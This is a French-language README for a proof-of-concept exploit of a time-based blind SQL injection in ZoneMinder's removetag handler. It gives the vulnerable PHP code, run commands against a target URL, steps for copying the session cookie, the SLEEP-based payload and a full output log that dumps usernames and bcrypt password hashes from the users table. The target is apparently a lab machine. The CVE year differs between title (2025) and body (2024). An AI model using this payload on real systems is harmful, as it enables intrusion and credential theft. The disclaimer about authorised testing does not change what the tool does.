
CVE-2025-51482 POC, Extraire les identifiants de zm.Users
Une preuve de concept d'exploit pour CVE-2024-51482, une vulnérabilité d'injection SQL aveugle basée sur le temps authentifiée dans ZoneMinder v1.37. ≤ 1.37.64*.
Le script extrait les noms d'utilisateur et les hash de mots de passe de la table zm.Users en utilisant une recherche binaire (bissection) sur un oracle basé sur SLEEP().
Le gestionnaire removetag dans web/ajax/event.php paramètre en toute sécurité une requête DELETE mais interpole ensuite directement l'entrée contrôlée par l'utilisateur dans un SELECT suivant :
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId provient directement de $_REQUEST['tid'] sans aucune sanitisation, permettant une injection via le paramètre tid.
requests (pip install requests)ZMSESSID valide provenant d'un compte ZoneMinder connectépython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Arguments :
--url — URL de base de ZoneMinder (ex. http://cctv.htb/zm) (obligatoire)--zmsessid — Valeur du cookie ZMSESSID (obligatoire)--sleep — secondes de sommeil pour l'inférence temporelle (par défaut : 3)--timeout — délai d'attente de la requête en secondes (par défaut : sleep + 3)Exemples :
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Connectez-vous à ZoneMinder, ouvrez les outils de développement du navigateur (F12) -> Application -> Cookies, et copiez la valeur de ZMSESSID. Alternativement, interceptez n'importe quelle requête authentifiée dans Burp Suite et récupérez-la depuis l'en-tête Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 pour mesurer le temps de réponse normal.SLEEP(2) et vérifie que la réponse est retardée d'au moins 2 secondes.COUNT(*) sur zm.Users pour déterminer le nombre de comptes existants.Username et Password (~7 requêtes par caractère contre 95 pour un scan linéaire).Structure de la charge utile :
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 est nécessaire car le DELETE sécurisé avant le SELECT vulnérable provoquerait une erreur 500 sans cela, interrompant l'exécution avant que l'injection ne soit atteinte.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche éducative.
Obtenez toujours une autorisation écrite explicite avant de tester tout système que vous ne possédez pas.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.